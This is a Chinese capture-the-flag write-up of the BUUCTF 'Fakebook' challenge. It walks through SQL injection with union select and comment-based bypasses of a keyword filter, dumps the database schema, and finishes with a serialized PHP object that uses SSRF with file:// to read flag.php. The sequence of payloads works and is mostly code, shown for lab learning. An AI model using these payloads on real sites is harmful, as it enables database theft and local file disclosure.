靶场链接：BUUCTF在线评测[%E7%BD%91%E9%BC%8E%E6%9D%AF%202018]Fakebook

Tips：更多优质【网络安全】文章主页

你的00后专属网安学习搭子-羽~

教程

首页

sql万能密码

登录失败

注册一个账号试试

当前页面好像也没有什么注入点

目录扫描

访问

得到user.php源码

<?php
​
​
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
​
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
​
    function get($url)
    {
        $ch = curl_init();
​
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
​
        return $output;
    }
​
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }
​
    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
​
}

这句代码，很明显，存在ssrf漏洞，看看待会能不能用上

    function get($url)
    {
        $ch = curl_init();
​
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
​
        return $output;
    }

SSRF参考：CTFHub技能树通关教程——SSRF漏洞原理攻击与防御（一）(超详细总结)

添加一条数据后

看到一个no参数

尝试注入，sql语句错误，存在sql注入漏洞

sqlmap失败

手工添加引号和注释符号#，还是报sql语句错误，没有回显，那么我们去掉单引号试试

?no=1' and 1=2 #

Tips : 手工注入文章参考：从零开始学SQL注入（sql十大注入类型）：技术解析与实战演练

正常回显

?no=1 and 1=2 #

查询没有6列

?no=1 order by 6 #

order by 4正常回显，存在四列

?no=1 order by 4 #

没有回显，大概率是过滤掉了，但不知道是过滤哪个关键词

?no=1 union select 1,2,3,4 #

双写，看样子不是用了替换函数

?no=1 ununionion select 1,2,3,4 #
​

使用/**/这个代替空格

?no=1/**/union/**/select/**/1,2,3,4 #

no改成-1

当前数据库

?no=-1/**/union/**/select 1,group_concat(database()),3,4 from information_schema.schemata #

fakebook,information_schema,mysql,performance_schema,test

爆表，得到表名users

?no=-1/**/union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook' #

爆列，得到列名

?no=-1/**/union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' #

查找用户表中所有符合条件的数据，却发现有一个序列化的结果

?no=-1/**/union/**/select 1,group_concat(no,'-',username,'-',passwd,'-',data),3,4 from users #

但是，没有正常回显啊

我们这样试试，把4替换为这个序列化的结果

一切正常

且源码中能显示正常结果的，是data伪协议标准格式，使用base64加密算法

data:text/html;base64,<!DOCTYPE html><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta content="always" name="referrer"><meta name="description" content="全球领先的中文搜索引擎、致力于让网民更便捷地获取信息，找到所求。百度超过千亿的中文网页数据库，可以瞬间找到相关的搜索结果。"><link rel="shortcut icon" href="//www.baidu.com/favicon.ico" type="image/x-icon"><link rel="search" type="application/opensearchdescription+xml" href="//www.baidu.com/content-search.xml" title="百度搜索"><title>百度一下，你就知道</title><style type="text/css">body{margin:0;padding:0;text-align:center;background:#fff;height:100%}html{overflow-y:auto;color:#000;overflow:-moz-scrollbars;height:100%}body,input{font-size:12px;font-family:"PingFang SC",Arial,"Microsoft YaHei",sans-serif}a{text-decoration:none}a:hover{text-decoration:underline}img{border:0;-ms-interpolation-mode:bicubic}input{font-size:100%;border:0}body,form{position:relative;z-index:0}#wrapper{height:100%}#head_wrapper.s-ps-islite{padding-bottom:370px}#head_wrapper.s-ps-islite .s_form{position:relative;z-index:1}#head_wrapper.s-ps-islite .fm{position:absolute;bottom:0}#head_wrapper.s-ps-islite .s-p-top{position:absolute;bottom:40px;width:100%;height:181px}#head_wrapper.s-ps-islite #s_lg_img{position:static;margin:33px auto 0 auto;left:50%}#form{z-index:1}.s_form_wrapper{height:100%}#lh{margin:16px 0 5px;word-spacing:3px}.c-font-normal{font:13px/23px Arial,sans-serif}.c-color-t{color:#222}.c-btn,.c-btn:visited{color:#333!important}.c-btn{display:inline-block;overflow:hidden;font-family:inherit;font-weight:400;text-align:center;vertical-align:middle;outline:0;border:0;height:30px;width:80px;line-height:30px;font-size:13px;border-radius:6px;padding:0;background-color:#f5f5f6;cursor:pointer}.c-btn:hover{background-color:#315efb;color:#fff!important}a.c-btn{text-decoration:none}.c-btn-mini{height:24px;width:48px;line-height:24px}.c-btn-primary,.c-btn-primary:visited{color:#fff!important}.c-btn-primary{background-color:#4e6ef2}.c-btn-primary:hover{background-color:#315efb}a:active{color:#f60}#wrapper{position:relative;min-height:100%}#head{padding-bottom:100px;text-align:center}#wrapper{min-width:1250px;height:100%;min-height:600px}#head{position:relative;padding-bottom:0;height:100%;min-height:600px}.s_form_wrapper{height:100%}.quickdelete-wrap{position:relative}.tools{position:absolute;right:-75px}.s-isindex-wrap{position:relative}#head_wrapper.head_wrapper{width:auto}#head_wrapper{position:relative;height:40%;min-height:314px;max-height:510px;width:1000px;margin:0 auto}#head_wrapper .s-p-top{height:60%;min-height:185px;max-height:310px;position:relative;z-index:0;text-align:center}#head_wrapper input{outline:0;-webkit-appearance:none}#head_wrapper .s_btn_wr,#head_wrapper .s_ipt_wr{display:inline-block;zoom:1;background:0 0;vertical-align:top}#head_wrapper .s_ipt_wr{position:relative;width:546px}#head_wrapper .s_btn_wr{width:108px;height:44px;position:relative;z-index:2}#head_wrapper .s_ipt_wr:hover #kw{border-color:#a7aab5}#head_wrapper #kw{width:512px;height:16px;padding:12px 16px;font-size:16px;margin:0;vertical-align:top;outline:0;box-shadow:none;border-radius:10px 0 0 10px;border:2px solid #c4c7ce;background:#fff;color:#222;overflow:hidden;box-sizing:content-box}#head_wrapper #kw:focus{border-color:#4e6ef2!important;opacity:1}#head_wrapper .s_form{width:654px;height:100%;margin:0 auto;text-align:left;z-index:100}#head_wrapper .s_btn{cursor:pointer;width:108px;height:44px;line-height:45px;padding:0;background:0 0;background-color:#4e6ef2;border-radius:0 10px 10px 0;font-size:17px;color:#fff;box-shadow:none;font-weight:400;border:none;outline:0}#head_wrapper .s_btn:hover{background-color:#4662d9}#head_wrapper .s_btn:active{background-color:#4662d9}#head_wrapper .quickdelete-wrap{position:relative}#s_top_wrap{position:absolute;z-index:99;min-width:1000px;width:100%}.s-top-left{position:absolute;left:0;top:0;z-index:100;height:60px;padding-left:24px}.s-top-left .mnav{margin-right:31px;margin-top:19px;display:inline-block;position:relative}.s-top-left .mnav:hover .s-bri,.s-top-left a:hover{color:#315efb;text-decoration:none}.s-top-left .s-top-more-btn{padding-bottom:19px}.s-top-left .s-top-more-btn:hover .s-top-more{display:block}.s-top-right{position:absolute;right:0;top:0;z-index:100;height:60px;padding-right:24px}.s-top-right .s-top-right-text{margin-left:32px;margin-top:19px;display:inline-block;position:relative;vertical-align:top;cursor:pointer}.s-top-right .s-top-right-text:hover{color:#315efb}.s-top-right .s-top-login-btn{display:inline-block;margin-top:18px;margin-left:32px;font-size:13px}.s-top-right a:hover{text-decoration:none}#bottom_layer{width:100%;position:fixed;z-index:302;bottom:0;left:0;height:39px;padding-top:1px;overflow:hidden;zoom:1;margin:0;line-height:39px;background:#fff}#bottom_layer .lh{display:inline;margin-right:20px}#bottom_layer .lh:last-child{margin-left:-2px;margin-right:0}#bottom_layer .lh.activity{font-weight:700;text-decoration:underline}#bottom_layer a{font-size:12px;text-decoration:none}#bottom_layer .text-color{color:#bbb}#bottom_layer a:hover{color:#222}#bottom_layer .s-bottom-layer-content{text-align:center}</style></head><body><div id="wrapper" class="wrapper_new"><div id="head"><div id="s-top-left" class="s-top-left s-isindex-wrap"><a href="//news.baidu.com/" target="_blank" class="mnav c-font-normal c-color-t">新闻</a><a href="//www.hao123.com/" target="_blank" class="mnav c-font-normal c-color-t">hao123</a><a href="//map.baidu.com/" target="_blank" class="mnav c-font-normal c-color-t">地图</a><a href="//live.baidu.com/" target="_blank" class="mnav c-font-normal c-color-t">直播</a><a href="//haokan.baidu.com/?sfrom=baidu-top" target="_blank" class="mnav c-font-normal c-color-t">视频</a><a href="//tieba.baidu.com/" target="_blank" class="mnav c-font-normal c-color-t">贴吧</a><a href="//xueshu.baidu.com/" target="_blank" class="mnav c-font-normal c-color-t">学术</a><div class="mnav s-top-more-btn"><a href="//www.baidu.com/more/" name="tj_briicon" class="s-bri c-font-normal c-color-t" target="_blank">更多</a></div></div><div id="u1" class="s-top-right s-isindex-wrap"><a class="s-top-login-btn c-btn c-btn-primary c-btn-mini lb" style="position:relative;overflow:visible" name="tj_login" href="//www.baidu.com/bdorz/login.gif?login&amp;tpl=mn&amp;u=http%3A%2F%2Fwww.baidu.com%2f%3fbdorz_come%3d1">登录</a></div><div id="head_wrapper" class="head_wrapper s-isindex-wrap s-ps-islite"><div class="s_form"><div class="s_form_wrapper"><div id="lg" class="s-p-top"><img hidefocus="true" id="s_lg_img" class="index-logo-src" src="//www.baidu.com/img/flexible/logo/pc/index.png" width="270" height="129" usemap="#mp"><map name="mp"><area style="outline:0" hidefocus="true" shape="rect" coords="0,0,270,129" href="//www.baidu.com/s?wd=%E7%99%BE%E5%BA%A6%E7%83%AD%E6%90%9C&amp;sa=ire_dl_gh_logo_texing&amp;rsv_dl=igh_logo_pcs" target="_blank" title="点击一下，了解更多"></map></div><a href="//www.baidu.com/" id="result_logo"></a><form id="form" name="f" action="//www.baidu.com/s" class="fm"><input type="hidden" name="ie" value="utf-8"> <input type="hidden" name="f" value="8"> <input type="hidden" name="rsv_bp" value="1"> <input type="hidden" name="rsv_idx" value="1"> <input type="hidden" name="ch" value=""> <input type="hidden" name="tn" value="baidu"> <input type="hidden" name="bar" value=""> <span class="s_ipt_wr quickdelete-wrap"><input id="kw" name="wd" class="s_ipt" value="" maxlength="255" autocomplete="off"> </span><span class="s_btn_wr"><input type="submit" id="su" value="百度一下" class="bg s_btn"> </span><input type="hidden" name="rn" value=""> <input type="hidden" name="fenlei" value="256"> <input type="hidden" name="oq" value=""> <input type="hidden" name="rsv_pq" value="b9ff093e0000e419"> <input type="hidden" name="rsv_t" value="3635FYbdbC8tlWmudZmYaUnaucNe+RzTzNEGqg/JuniQU10WL5mtMQehIrU"> <input type="hidden" name="rqlang" value="cn"> <input type="hidden" name="rsv_enter" value="1"> <input type="hidden" name="rsv_dl" value="ib"></form></div></div></div><div id="bottom_layer" class="s-bottom-layer s-isindex-wrap"><div class="s-bottom-layer-content"><p class="lh"><a class="text-color" href="//home.baidu.com/" target="_blank">关于百度</a></p><p class="lh"><a class="text-color" href="//ir.baidu.com/" target="_blank">About Baidu</a></p><p class="lh"><a class="text-color" href="//www.baidu.com/duty" target="_blank">使用百度前必读</a></p><p class="lh"><a class="text-color" href="//help.baidu.com/" target="_blank">帮助中心</a></p><p class="lh"><a class="text-color" href="//www.beian.gov.cn/portal/registerSystemInfo?recordcode=11000002000001" target="_blank">京公网安备11000002000001号</a></p><p class="lh"><a class="text-color" href="//beian.miit.gov.cn/" target="_blank">京ICP证030173号</a></p><p class="lh"><span id="year" class="text-color"></span></p><p class="lh"><span class="text-color">互联网药品信息服务资格证书 (京)-经营性-2017-0020</span></p><p class="lh"><a class="text-color" href="//www.baidu.com/licence/" target="_blank">信息网络传播视听节目许可证 0110516</a></p></div></div></div></div><script type="text/javascript">var date=new Date,year=date.getFullYear();document.getElementById("year").innerText="©"+year+" Baidu "</script></body></html>

解密之后，这不就是我新加的那条数据blog的网址嘛，确实存在ssrf漏洞

构造序列化对象，我们使用file协议，读取本地文件（/var/www/html/flag.php 这个路径之前每个报错界面基本都有，猜测flag在这个站点根目录下）

file:// 用于访问本地文件系统，在CTF中通常用来读取本地文件，且不受PHP的allow_url_fopen与allow_url_include配置影响

例如读取D盘目录下的指定文件：http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
}
$res = new UserInfo();
echo serialize($res); // O:8:"UserInfo":3:{s:4:"name";s:5:"mochu";s:3:"age";i:7;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

构造payload

?no=-1/**/union/**/select 1,group_concat(no,'-',username,'-',passwd,'-',data),3,'O:8:"UserInfo":3:{s:4:"name";s:5:"mochu";s:3:"age";i:7;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users #

查看源码

解密得到flag

往期文章

从零开始学SQL注入（sql十大注入类型）：技术解析与实战演练

SQL注入绕过某狗的waf防火墙，这一篇就够了，6k文案超详细

网络安全一场梦，护网三天就结束，多少有点走过场。

Love-Yi情侣网站存在sql注入漏洞